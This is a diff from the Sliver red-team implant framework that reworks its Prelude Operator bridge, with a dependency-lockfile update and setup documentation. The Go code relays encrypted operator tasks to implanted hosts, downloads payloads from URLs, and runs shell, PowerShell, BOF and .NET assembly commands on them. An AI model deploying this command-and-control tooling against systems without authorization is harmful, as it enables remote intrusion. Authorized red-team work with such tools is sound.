type OperatorImplantBridge struct {
Conn *net.Conn
Implant ActiveImplant
RPC rpcpb.SliverRPCClient
PBeacon OperatorBeacon
BeaconCallback func(string, func(*clientpb.BeaconTask))
Config AgentConfig
recv chan []byte
send chan []byte
}
func NewImplantBridge(c *net.Conn, a ActiveImplant, rpc rpcpb.SliverRPCClient, pbeacon OperatorBeacon, conf AgentConfig, callback func(string, func(*clientpb.BeaconTask))) *OperatorImplantBridge {
return &OperatorImplantBridge{
Conn: c,
Implant: a,
RPC: rpc,
Config: conf,
BeaconCallback: callback,
PBeacon: pbeacon,
recv: make(chan []byte),
send: make(chan []byte),
}
}
func (a *OperatorImplantBridge) register() {
data, err := json.Marshal(a.PBeacon)
if err != nil {
return
}
encrypted := util.PreludeEncrypt(data, []byte(a.Config.AESKey), nil)
dataBuff := append([]byte(fmt.Sprintf("%x", encrypted)), "\n"...)
(*a.Conn).Write(dataBuff)
}
func (a *OperatorImplantBridge) ReceiveLoop() {
a.register()
go func() {
for {
data := <-a.send
encrypted := util.PreludeEncrypt(data, []byte(a.Config.AESKey), nil)
dataBuff := append([]byte(fmt.Sprintf("%x", encrypted)), "\n"...)
(*a.Conn).Write(dataBuff)
time.Sleep(time.Duration(a.PBeacon.Sleep))
}
}()
for {
scanner := bufio.NewScanner(*a.Conn)
for scanner.Scan() {
msg := strings.TrimSpace(scanner.Text())
a.handleMessage(msg)
}
}
}
func (a *OperatorImplantBridge) handleMessage(message string) {
var tempBeacon OperatorBeacon
decoded, err := hex.DecodeString(message)
if err != nil {
return
}
if err := json.Unmarshal(util.PreludeDecrypt(decoded, []byte(a.Config.AESKey)), &tempBeacon); err == nil {
a.PBeacon.Links = a.PBeacon.Links[:0]
a.runLinks(&tempBeacon)
}
}
func (implantBridge *OperatorImplantBridge) runLinks(tempBeacon *OperatorBeacon) {
for _, link := range implantBridge.Config.StartInstructions(tempBeacon.Links) {
time.Sleep(time.Second * 1)
var payload []byte
if link.Payload != "" {
payload, _ = requestPayload(link.Payload)
}
// If we're running on a Beacon
if implantBridge.BeaconCallback != nil {
RunCommand(link.Request, link.Executor, payload, implantBridge, func(response string, status int, pid int) {
link.Response = response
link.Status = status
link.Pid = pid
implantBridge.PBeacon.Links = append(implantBridge.PBeacon.Links, link)
implantBridge.Config.EndInstruction(link)
implantBridge.refreshBeacon()
data, err := json.Marshal(implantBridge.PBeacon)
if err != nil {
return
}
implantBridge.send <- data
})
return
}
// Running on a Session
response, status, pid := RunCommand(link.Request, link.Executor, payload, implantBridge, nil)
link.Response = response
link.Status = status
link.Pid = pid
implantBridge.PBeacon.Links = append(implantBridge.PBeacon.Links, link)
implantBridge.Config.EndInstruction(link)
implantBridge.refreshBeacon()
data, err := json.Marshal(implantBridge.PBeacon)
if err != nil {
return
}
implantBridge.send <- data
}
}
func requestPayload(target string) ([]byte, error) {
resp, err := http.Get(target)
if err != nil {
return nil, err
}
if resp.StatusCode != 200 {
return nil, fmt.Errorf("invalid status code: %d", resp.StatusCode)
}
return ioutil.ReadAll(resp.Body)
}
func (a *OperatorImplantBridge) refreshBeacon() {
var pwd string
pwdResp, _ := a.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
Request: MakeRequest(a.Implant),
})
if pwdResp != nil {
pwd = pwdResp.Path
}
a.PBeacon.Sleep = a.Config.Sleep
a.PBeacon.Range = a.Config.Range
a.PBeacon.Pwd = pwd
a.PBeacon.Target = a.Config.Address
a.PBeacon.Executing = a.Config.BuildExecutingHash()
}
func MakeRequest(a ActiveImplant) *commonpb.Request {
timeout := int64(defaultTimeout)
req := &commonpb.Request{
Timeout: timeout,
}
if a == nil {
return nil
}
beacon, ok := a.(*clientpb.Beacon)
if ok {
req.BeaconID = beacon.ID
req.Async = true
return req
}
session, ok := a.(*clientpb.Session)
if ok {
req.SessionID = session.ID
req.Async = false
return req
}
return nil
}
+53 -14
View File
@@ -2,7 +2,7 @@ package prelude
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -24,11 +24,13 @@ import (
"fmt"
"strings"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
//RunCommand executes a given command
func RunCommand(message string, executor string, payload []byte, agentSession *AgentSession) (string, int, int) {
func RunCommand(message string, executor string, payload []byte, agentSession *OperatorImplantBridge, onFinish func(string, int, int)) (string, int, int) {
switch executor {
case "keyword":
task := splitMessage(message, '.')
@@ -46,7 +48,25 @@ func RunCommand(message string, executor string, payload []byte, agentSession *A
if payload == nil {
return "missing BOF file", ErrorExitStatus, ErrorExitStatus
}
out, err := runBOF(agentSession.Session, agentSession.RPC, payload, bargs)
out, err := runBOF(agentSession.Implant, agentSession.RPC, payload, bargs, onFinish)
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
return out, 0, 0
case "execute-assembly":
if len(task) < 2 {
break
}
var eaargs execasmArgs
argStr := strings.ReplaceAll(task[1], `\`, `\\`)
err := json.Unmarshal([]byte(argStr), &eaargs)
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
if payload == nil {
return "missing .NET assembly", ErrorExitStatus, ErrorExitStatus
}
out, err := execAsm(agentSession.Implant, agentSession.RPC, payload, eaargs, onFinish)
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
@@ -57,30 +77,47 @@ func RunCommand(message string, executor string, payload []byte, agentSession *A
return "Keyword selected not available for agent", ErrorExitStatus, ErrorExitStatus
}
default:
bites, status, pid := execute(message, executor, agentSession)
bites, status, pid := execute(message, executor, agentSession, onFinish)
return string(bites), status, pid
}
return "", ErrorExitStatus, ErrorExitStatus
}
func execute(cmd string, executor string, agentSession *AgentSession) (string, int, int) {
func execute(cmd string, executor string, implantBridge *OperatorImplantBridge, onFinishCallback func(string, int, int)) (string, int, int) {
args := append(getCmdArg(executor), cmd)
if executor == "psh" {
executor = "powershell.exe"
} else if executor == "exec" {
commandSections := strings.Fields(cmd)
executor = commandSections[0]
args = commandSections[1:]
}
execResp, err := agentSession.RPC.Execute(context.Background(), &sliverpb.ExecuteReq{
execResp, err := implantBridge.RPC.Execute(context.Background(), &sliverpb.ExecuteReq{
Path: executor,
Args: args,
Output: true,
Request: MakeRequest(agentSession.Session),
Request: MakeRequest(implantBridge.Implant),
})
if err != nil {
return fmt.Sprintf("Error: %s\n", err.Error()), 0, 0
return fmt.Sprintf("Error: %s\n", err.Error()), -1, -1
}
// Beacon
if execResp.Response != nil && execResp.Response.Async {
implantBridge.BeaconCallback(execResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, execResp)
if err != nil {
return
}
onFinishCallback(string(execResp.Stdout), int(execResp.Status), int(execResp.Pid))
})
return "", 0, 0
}
// Session
if execResp.Response != nil && execResp.Response.Err != "" {
return execResp.Response.Err, 0, 0
return execResp.Response.Err, SuccessExitStatus, SuccessExitStatus
}
return string(execResp.Stdout), int(execResp.Status), int(execResp.Pid)
}
@@ -89,9 +126,11 @@ func getCmdArg(executor string) []string {
var args []string
switch executor {
case "cmd":
args = []string{"/C", "/S"}
args = []string{"/S", "/C"}
case "powershell", "psh":
args = []string{"-execu", "ByPasS", "-C"}
args = []string{"-execu", "-C"}
case "exec":
args = []string{}
case "sh", "bash", "zsh":
args = []string{"-c"}
}
@@ -109,13 +148,13 @@ func splitMessage(message string, splitRune rune) []string {
return values
}
func shutdown(agentSession *AgentSession) (string, int, int) {
func shutdown(agentSession *OperatorImplantBridge) (string, int, int) {
_, err := agentSession.RPC.Kill(context.Background(), &sliverpb.KillReq{
Force: false,
Request: MakeRequest(agentSession.Session),
Request: MakeRequest(agentSession.Implant),
})
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
return fmt.Sprintf("Terminated %s", agentSession.Session.Name), SuccessExitStatus, SuccessExitStatus
return fmt.Sprintf("Terminated %s", agentSession.Implant.GetID()), SuccessExitStatus, int(agentSession.Implant.GetPID())
}
+3 -3
View File
@@ -2,7 +2,7 @@ package prelude
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -32,7 +32,7 @@ const (
type Configuration interface {
ApplyConfig(ac map[string]interface{})
BuildBeacon() Beacon
BuildBeacon() OperatorBeacon
}
type AgentConfig struct {
@@ -52,7 +52,7 @@ type AgentConfig struct {
Executing map[string]Instruction
}
type Beacon struct {
type OperatorBeacon struct {
Name string
Target string
Hostname string
+68
View File
@@ -0,0 +1,68 @@
package prelude
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"errors"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
type execasmArgs struct {
IsDLL bool `json:"isDLL"`
Process string `json:"process"`
Arguments string `json:"arguments"`
Architecture string `json:"architecture"`
Method string `json:"method"`
Class string `json:"class"`
AppDomain string `json:"appDomain"`
}
func execAsm(implant ActiveImplant, rpc rpcpb.SliverRPCClient, asm []byte, args execasmArgs, onFinishCallback func(string, int, int)) (output string, err error) {
extResp, err := rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: MakeRequest(implant),
IsDLL: args.IsDLL,
Process: args.Process,
Arguments: args.Arguments,
Assembly: asm,
Arch: args.Architecture,
Method: args.Method,
ClassName: args.Class,
AppDomain: args.AppDomain,
})
if err != nil {
return
}
// If Async req, onFinishCallback won't be nil
if onFinishCallback != nil {
onFinishCallback(string(extResp.Output), SuccessExitStatus, int(implant.GetPID()))
return
}
if extResp.Response != nil && extResp.Response.Err != "" {
err = errors.New(extResp.Response.Err)
}
output = string(extResp.Output)
return
}
+58 -42
View File
@@ -2,7 +2,7 @@ package prelude
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -21,7 +21,6 @@ package prelude
import (
"context"
"errors"
"fmt"
"net"
"sync"
@@ -31,7 +30,7 @@ import (
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
var SessionMapper *PreludeSessionMapper
var ImplantMapper *OperatorImplantMapper
const defaultImplantSleep = 5
@@ -42,30 +41,45 @@ type OperatorConfig struct {
AESKey string
}
type PreludeSessionMapper struct {
sessions []*AgentSession
conf *OperatorConfig
// OperatorImplantMapper maps an OperatorConfig with
// active Sliver implant sessions/beacons
type OperatorImplantMapper struct {
implantBridges []*OperatorImplantBridge
conf *OperatorConfig
sync.Mutex
}
func InitSessionMapper(conf *OperatorConfig) *PreludeSessionMapper {
if SessionMapper == nil {
SessionMapper = &PreludeSessionMapper{
sessions: make([]*AgentSession, 0),
conf: conf,
}
}
return SessionMapper
// ActiveImplant exposes common methods between
// Sliver clientpb.Session and clientpb.Beacon
// that are required by Operator implants
type ActiveImplant interface {
GetID() string
GetHostname() string
GetPID() int32
GetOS() string
GetArch() string
GetFilename() string
GetReconnectInterval() int64
}
func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
func InitImplantMapper(conf *OperatorConfig) *OperatorImplantMapper {
if ImplantMapper == nil {
ImplantMapper = &OperatorImplantMapper{
implantBridges: make([]*OperatorImplantBridge, 0),
conf: conf,
}
}
return ImplantMapper
}
func (p *OperatorImplantMapper) AddImplant(a ActiveImplant, callback func(string, func(*clientpb.BeaconTask))) error {
var pwd string
conn, err := net.Dial("tcp", p.conf.OperatorURL)
if err != nil {
return err
}
pwdResp, err := p.conf.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
Request: MakeRequest(s),
Request: MakeRequest(a),
})
if err != nil {
return err
@@ -73,55 +87,57 @@ func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
if pwdResp != nil {
pwd = pwdResp.Path
}
// Operator implants have embedded static IDs, but we don't,
// so to avoid having multiple sessions showing as one on the Operator
// GUI, we need to have a unique name for them.
// Plus, having the ID in the name will help the user to make the
// correlation.
sessName := fmt.Sprintf("%s-%s", s.Name, s.ID)
beacon := Beacon{
Name: sessName,
// Use a default sleep time for sessions,
// but respect the one we have for beacons
sleepTime := defaultImplantSleep
if b, ok := a.(*clientpb.Beacon); ok {
sleepTime = int(b.ReconnectInterval)
}
beacon := OperatorBeacon{
Name: a.GetID(),
Target: p.conf.OperatorURL,
Hostname: s.Hostname,
Location: s.Filename,
Platform: s.OS,
Hostname: a.GetHostname(),
Location: a.GetFilename(),
Platform: a.GetOS(),
Range: p.conf.Range,
Executors: util.DetermineExecutors(s.OS, s.Arch),
Executors: util.DetermineExecutors(a.GetOS(), a.GetArch()),
Links: make([]Instruction, 0),
Executing: "",
Pwd: pwd,
Sleep: defaultImplantSleep,
Sleep: int(sleepTime),
}
if p.conf.AESKey == "" {
return errors.New("missing AES key")
}
a.GetID()
encryptionKey := p.conf.AESKey
agentConfig := AgentConfig{
Name: sessName,
Name: a.GetID(),
AESKey: encryptionKey,
Range: p.conf.Range,
Contact: "tcp",
Address: p.conf.OperatorURL,
Pid: int(s.PID),
Pid: int(a.GetPID()),
Executing: make(map[string]Instruction),
Sleep: defaultImplantSleep,
Sleep: int(sleepTime),
}
util.EncryptionKey = &agentConfig.AESKey
agentSession := NewAgentSession(&conn, s, p.conf.RPC, beacon, agentConfig)
bridge := NewImplantBridge(&conn, a, p.conf.RPC, beacon, agentConfig, callback)
p.Lock()
p.sessions = append(p.sessions, agentSession)
p.implantBridges = append(p.implantBridges, bridge)
p.Unlock()
go agentSession.ReceiveLoop()
go bridge.ReceiveLoop()
return nil
}
func (p *PreludeSessionMapper) RemoveSession(s *clientpb.Session) (err error) {
func (p *OperatorImplantMapper) RemoveImplant(imp ActiveImplant) (err error) {
p.Lock()
for _, agentSession := range p.sessions {
if agentSession.Session.ID == s.ID {
if agentSession.Conn != nil {
err = (*agentSession.Conn).Close()
for _, bridge := range p.implantBridges {
if bridge.Implant.GetID() == imp.GetID() {
if bridge.Conn != nil {
err = (*bridge.Conn).Close()
} else {
err = errors.New("connection is nil")
}
@@ -131,6 +147,6 @@ func (p *PreludeSessionMapper) RemoveSession(s *clientpb.Session) (err error) {
return err
}
func (p *PreludeSessionMapper) GetConfig() *OperatorConfig {
func (p *OperatorImplantMapper) GetConfig() *OperatorConfig {
return p.conf
}
+6 -8
View File
@@ -21,25 +21,23 @@ package util
func DetermineExecutors(platform string, arch string) []string {
platformExecutors := map[string]map[string][]string{
"windows": {
"file": {"pwsh.exe", "powershell.exe", "cmd.exe"},
"executor": {"pwsh", "psh", "cmd", "bof"},
"file": {"pwsh.exe", "powershell.exe", "cmd.exe", "", ""},
"executor": {"pwsh", "psh", "cmd", "bof", "exec"},
},
"linux": {
"file": {"python3", "pwsh", "sh", "bash"},
"executor": {"python", "pwsh", "sh", "bash"},
"file": {"python3", "sh", "bash"},
"executor": {"python", "sh", "bash"},
},
"darwin": {
"file": {"python3", "pwsh", "zsh", "sh", "osascript", "bash"},
"executor": {"python", "pwsh", "zsh", "sh", "osa", "bash"},
"file": {"python3", "zsh", "sh", "osascript", "bash"},
"executor": {"python", "zsh", "sh", "osa", "bash"},
},
}
var executors []string
for platformKey, platformValue := range platformExecutors {
if platform == platformKey {
for i := range platformValue["file"] {
// if checkIfExecutorAvailable(platformValue["file"][i]) {
executors = append(executors, platformExecutors[platformKey]["executor"][i])
// }
}
}
}
+89 -83
View File
@@ -1,7 +1,7 @@
GEM
remote: https://rubygems.org/
specs:
activesupport (6.0.4)
activesupport (6.0.4.6)
concurrent-ruby (~> 1.0, >= 1.0.2)
i18n (>= 0.7, < 2)
minitest (~> 5.1)
@@ -14,48 +14,54 @@ GEM
execjs
coffee-script-source (1.11.1)
colorator (1.1.0)
commonmarker (0.17.13)
ruby-enum (~> 0.5)
commonmarker (0.23.4)
concurrent-ruby (1.1.9)
dnsruby (1.61.7)
dnsruby (1.61.9)
simpleidn (~> 0.1)
em-websocket (0.5.2)
em-websocket (0.5.3)
eventmachine (>= 0.12.9)
http_parser.rb (~> 0.6.0)
ethon (0.14.0)
http_parser.rb (~> 0)
ethon (0.15.0)
ffi (>= 1.15.0)
eventmachine (1.2.7)
execjs (2.8.1)
faraday (1.5.0)
faraday (1.10.0)
faraday-em_http (~> 1.0)
faraday-em_synchrony (~> 1.0)
faraday-excon (~> 1.1)
faraday-httpclient (~> 1.0.1)
faraday-httpclient (~> 1.0)
faraday-multipart (~> 1.0)
faraday-net_http (~> 1.0)
faraday-net_http_persistent (~> 1.1)
faraday-net_http_persistent (~> 1.0)
faraday-patron (~> 1.0)
multipart-post (>= 1.2, < 3)
faraday-rack (~> 1.0)
faraday-retry (~> 1.0)
ruby2_keywords (>= 0.0.4)
faraday-em_http (1.0.0)
faraday-em_synchrony (1.0.0)
faraday-excon (1.1.0)
faraday-httpclient (1.0.1)
faraday-multipart (1.0.3)
multipart-post (>= 1.2, < 3)
faraday-net_http (1.0.1)
faraday-net_http_persistent (1.1.0)
faraday-net_http_persistent (1.2.0)
faraday-patron (1.0.0)
ffi (1.15.3)
faraday-rack (1.0.0)
faraday-retry (1.0.3)
ffi (1.15.5)
forwardable-extended (2.6.0)
gemoji (3.0.1)
github-pages (215)
github-pages-health-check (= 1.17.2)
github-pages (225)
github-pages-health-check (= 1.17.9)
jekyll (= 3.9.0)
jekyll-avatar (= 0.7.0)
jekyll-coffeescript (= 1.1.1)
jekyll-commonmark-ghpages (= 0.1.6)
jekyll-commonmark-ghpages (= 0.2.0)
jekyll-default-layout (= 0.1.4)
jekyll-feed (= 0.15.1)
jekyll-gist (= 1.5.0)
jekyll-github-metadata (= 2.13.0)
jekyll-include-cache (= 0.2.1)
jekyll-mentions (= 1.6.0)
jekyll-optional-front-matter (= 0.3.2)
jekyll-paginate (= 1.1.0)
@@ -64,22 +70,22 @@ GEM
jekyll-relative-links (= 0.6.1)
jekyll-remote-theme (= 0.4.3)
jekyll-sass-converter (= 1.5.2)
jekyll-seo-tag (= 2.7.1)
jekyll-seo-tag (= 2.8.0)
jekyll-sitemap (= 1.4.0)
jekyll-swiss (= 1.0.0)
jekyll-theme-architect (= 0.1.1)
jekyll-theme-cayman (= 0.1.1)
jekyll-theme-dinky (= 0.1.1)
jekyll-theme-hacker (= 0.1.2)
jekyll-theme-leap-day (= 0.1.1)
jekyll-theme-merlot (= 0.1.1)
jekyll-theme-midnight (= 0.1.1)
jekyll-theme-minimal (= 0.1.1)
jekyll-theme-modernist (= 0.1.1)
jekyll-theme-primer (= 0.5.4)
jekyll-theme-slate (= 0.1.1)
jekyll-theme-tactile (= 0.1.1)
jekyll-theme-time-machine (= 0.1.1)
jekyll-theme-architect (= 0.2.0)
jekyll-theme-cayman (= 0.2.0)
jekyll-theme-dinky (= 0.2.0)
jekyll-theme-hacker (= 0.2.0)
jekyll-theme-leap-day (= 0.2.0)
jekyll-theme-merlot (= 0.2.0)
jekyll-theme-midnight (= 0.2.0)
jekyll-theme-minimal (= 0.2.0)
jekyll-theme-modernist (= 0.2.0)
jekyll-theme-primer (= 0.6.0)
jekyll-theme-slate (= 0.2.0)
jekyll-theme-tactile (= 0.2.0)
jekyll-theme-time-machine (= 0.2.0)
jekyll-titles-from-headings (= 0.5.3)
jemoji (= 0.12.0)
kramdown (= 2.3.1)
@@ -87,19 +93,19 @@ GEM
liquid (= 4.0.3)
mercenary (~> 0.3)
minima (= 2.5.1)
nokogiri (>= 1.10.4, < 2.0)
nokogiri (>= 1.12.5, < 2.0)
rouge (= 3.26.0)
terminal-table (~> 1.4)
github-pages-health-check (1.17.2)
github-pages-health-check (1.17.9)
addressable (~> 2.3)
dnsruby (~> 1.60)
octokit (~> 4.0)
public_suffix (>= 2.0.2, < 5.0)
public_suffix (>= 3.0, < 5.0)
typhoeus (~> 1.3)
html-pipeline (2.14.0)
activesupport (>= 2)
nokogiri (>= 1.4)
http_parser.rb (0.6.0)
http_parser.rb (0.8.0)
i18n (0.9.5)
concurrent-ruby (~> 1.0)
jekyll (3.9.0)
@@ -120,12 +126,12 @@ GEM
jekyll-coffeescript (1.1.1)
coffee-script (~> 2.2)
coffee-script-source (~> 1.11.1)
jekyll-commonmark (1.3.1)
commonmarker (~> 0.14)
jekyll (>= 3.7, < 5.0)
jekyll-commonmark-ghpages (0.1.6)
commonmarker (~> 0.17.6)
jekyll-commonmark (~> 1.2)
jekyll-commonmark (1.4.0)
commonmarker (~> 0.22)
jekyll-commonmark-ghpages (0.2.0)
commonmarker (~> 0.23.4)
jekyll (~> 3.9.0)
jekyll-commonmark (~> 1.4.0)
rouge (>= 2.0, < 4.0)
jekyll-default-layout (0.1.4)
jekyll (~> 3.0)
@@ -136,6 +142,8 @@ GEM
jekyll-github-metadata (2.13.0)
jekyll (>= 3.4, < 5.0)
octokit (~> 4.0, != 4.4.0)
jekyll-include-cache (0.2.1)
jekyll (>= 3.7, < 5.0)
jekyll-mentions (1.6.0)
html-pipeline (~> 2.3)
jekyll (>= 3.7, < 5.0)
@@ -155,50 +163,50 @@ GEM
rubyzip (>= 1.3.0, < 3.0)
jekyll-sass-converter (1.5.2)
sass (~> 3.4)
jekyll-seo-tag (2.7.1)
jekyll-seo-tag (2.8.0)
jekyll (>= 3.8, < 5.0)
jekyll-sitemap (1.4.0)
jekyll (>= 3.7, < 5.0)
jekyll-swiss (1.0.0)
jekyll-theme-architect (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-cayman (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-dinky (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-hacker (0.1.2)
jekyll-theme-architect (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-leap-day (0.1.1)
jekyll (~> 3.5)
jekyll-theme-cayman (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-merlot (0.1.1)
jekyll (~> 3.5)
jekyll-theme-dinky (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-midnight (0.1.1)
jekyll (~> 3.5)
jekyll-theme-hacker (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-minimal (0.1.1)
jekyll (~> 3.5)
jekyll-theme-leap-day (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-modernist (0.1.1)
jekyll (~> 3.5)
jekyll-theme-merlot (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-primer (0.5.4)
jekyll-theme-midnight (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-minimal (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-modernist (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-primer (0.6.0)
jekyll (> 3.5, < 5.0)
jekyll-github-metadata (~> 2.9)
jekyll-seo-tag (~> 2.0)
jekyll-theme-slate (0.1.1)
jekyll (~> 3.5)
jekyll-theme-slate (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-tactile (0.1.1)
jekyll (~> 3.5)
jekyll-theme-tactile (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-time-machine (0.1.1)
jekyll (~> 3.5)
jekyll-theme-time-machine (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-titles-from-headings (0.5.3)
jekyll (>= 3.3, < 5.0)
@@ -213,35 +221,33 @@ GEM
kramdown-parser-gfm (1.1.0)
kramdown (~> 2.0)
liquid (4.0.3)
listen (3.5.1)
listen (3.7.1)
rb-fsevent (~> 0.10, >= 0.10.3)
rb-inotify (~> 0.9, >= 0.9.10)
mercenary (0.3.6)
mini_portile2 (2.6.1)
mini_portile2 (2.8.0)
minima (2.5.1)
jekyll (>= 3.5, < 5.0)
jekyll-feed (~> 0.9)
jekyll-seo-tag (~> 2.1)
minitest (5.14.4)
minitest (5.15.0)
multipart-post (2.1.1)
nokogiri (1.12.5)
mini_portile2 (~> 2.6.1)
nokogiri (1.13.6)
mini_portile2 (~> 2.8.0)
racc (~> 1.4)
octokit (4.21.0)
octokit (4.22.0)
faraday (>= 0.9)
sawyer (~> 0.8.0, >= 0.5.3)
pathutil (0.16.2)
forwardable-extended (~> 2.6)
public_suffix (4.0.6)
racc (1.5.2)
rb-fsevent (0.11.0)
racc (1.6.0)
rb-fsevent (0.11.1)
rb-inotify (0.10.1)
ffi (~> 1.0)
rexml (3.2.5)
rouge (3.26.0)
ruby-enum (0.9.0)
i18n
ruby2_keywords (0.0.4)
ruby2_keywords (0.0.5)
rubyzip (2.3.2)
safe_yaml (1.0.5)
sass (3.7.4)
@@ -261,14 +267,14 @@ GEM
ethon (>= 0.9.0)
tzinfo (1.2.9)
thread_safe (~> 0.1)
tzinfo-data (1.2021.1)
tzinfo-data (1.2021.5)
tzinfo (>= 1.0.0)
unf (0.1.4)
unf_ext
unf_ext (0.0.7.7)
unicode-display_width (1.7.0)
unf_ext (0.0.8)
unicode-display_width (1.8.0)
wdm (0.1.1)
zeitwerk (2.4.2)
zeitwerk (2.5.4)
PLATFORMS
ruby
+143 -32
View File
@@ -6,27 +6,28 @@ date: 2021-07-07 09:01:33 -0500
categories: sliver
---
# 1. Server Setup
The first thing you'll need to do is setup a Sliver server.
The server supports Linux, Windows, and MacOS however we recommend running the server on a Linux or MacOS host, as some features may be more difficult to get working on a Windows server. However, the Windows client should work just fine when accessing a Linux/MacOS server.
Download the latest [release](https://github.com/BishopFox/sliver/releases) for your platform, and just run the binary. The first time you run the server it'll need to unpack some assets, which may take a minute or two, subsequent start ups should be faster.
__NOTE:__ Sliver has two external dependencies for _optional_ features: MinGW and Metasploit. To enable shellcode/staged payloads you need to install MinGW. To enable MSF integrations you'll need Metasploit installed.
The `Dockerfile` build of Sliver is mostly designed to run the unit tests but includes both MinGW and Metasploit. If you plan to run the server using Docker you'll need to forward the appropriate TCP ports (e.g. 80, 443, 31337) yourself.
### MinGW Setup (Optional)
__⚠️ NOTE:__ This guide is intended for experienced red teamers, but we also have a [Beginner's Guide](https://github.com/BishopFox/sliver/wiki/Beginner's-Guide) for a more beginner friendly tutorial.
## Server Setup
The first thing you'll need to do is setup a Sliver server, Sliver is designed for a one server deployment per-operation.
The server supports Linux, Windows, and MacOS however we strongly recommend running the server on a Linux (or MacOS, well really anything that isn't Windows), as some features may be more difficult to get working on a Windows server. The Windows client should work just fine when accessing a Linux/MacOS server from Windows, if for some odd reason your operators want to actually use Windows you'll just need to setup [multiplayer mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode).
Download the latest sever [release](https://github.com/BishopFox/sliver/releases) for your platform, and just run the binary. That's it, you're pretty much done.
__IMPORTANT:__ Sliver has two external dependancies for _optional_ features: MinGW and Metasploit. To enable DLL payloads you need to install MinGW. To enable some MSF integrations you'll need Metasploit installed on the server.
### MinGW Setup (Optional, Recommended)
In order to enable shellcode/staged/DLL payloads you'll need to install MinGW on the server (clients connecting to the server do not need it installed). By default Sliver will look in the usual places for MinGW binaries but you can override this using the [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables).
#### Linux
#### Linux (Debian-based)
```
apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64
apt install mingw-w64
```
#### MacOS
@@ -35,39 +36,65 @@ apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64
brew install mingw-w64
```
__Note:__ On MacOS you'll likely have to configure [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables) for MinGW.
__Note:__ On MacOS may have to configure [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables) for MinGW.
### Metasploit Setup (Optional)
We strongly recommend using the [nightly framework installers](https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers), Sliver expects version 5 or later.
We strongly recommend using the [nightly framework installers](https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers), Sliver expects MSF version 5+.
## Implants Beacon vs. Session
Sliver is generally designed as a stage 2 payload, and as such we've not yet endeavored to minimize the implant's file size. Depending on how many protocols you enable in your implant the file can get large, we strongly advise the use of [stagers](https://github.com/BishopFox/sliver/wiki/Stagers) for actual operations. Such is the tradeoff for getting easy static compilation in Golang.
Sliver implants in v1.5 and later support two modes of operation: "beacon mode" and "session mode." Beacon mode implements an asynchronous communication style where the implant periodically checks in with the server retrieves tasks, executes them, and returns the results. In "session mode" the implant will create an interactive real time session using either a persistent connection or using long polling depending on the underlying C2 protocol.
Beacons may be tasked to open interactive sessions over _any C2 protocol they were compiled with_ using the `interactive` command, i.e., if a beacon implant was not compiled with HTTP C2 it cannot open a session over HTTP (use the `close` command to close the session). Currently implants initially compiled for session mode cannot be converted to beacon mode (we may add this feature later). Take this into account during operational planning.
Some commands such as `shell` and `portfwd` only work over interactive sessions.
## Generating Implants
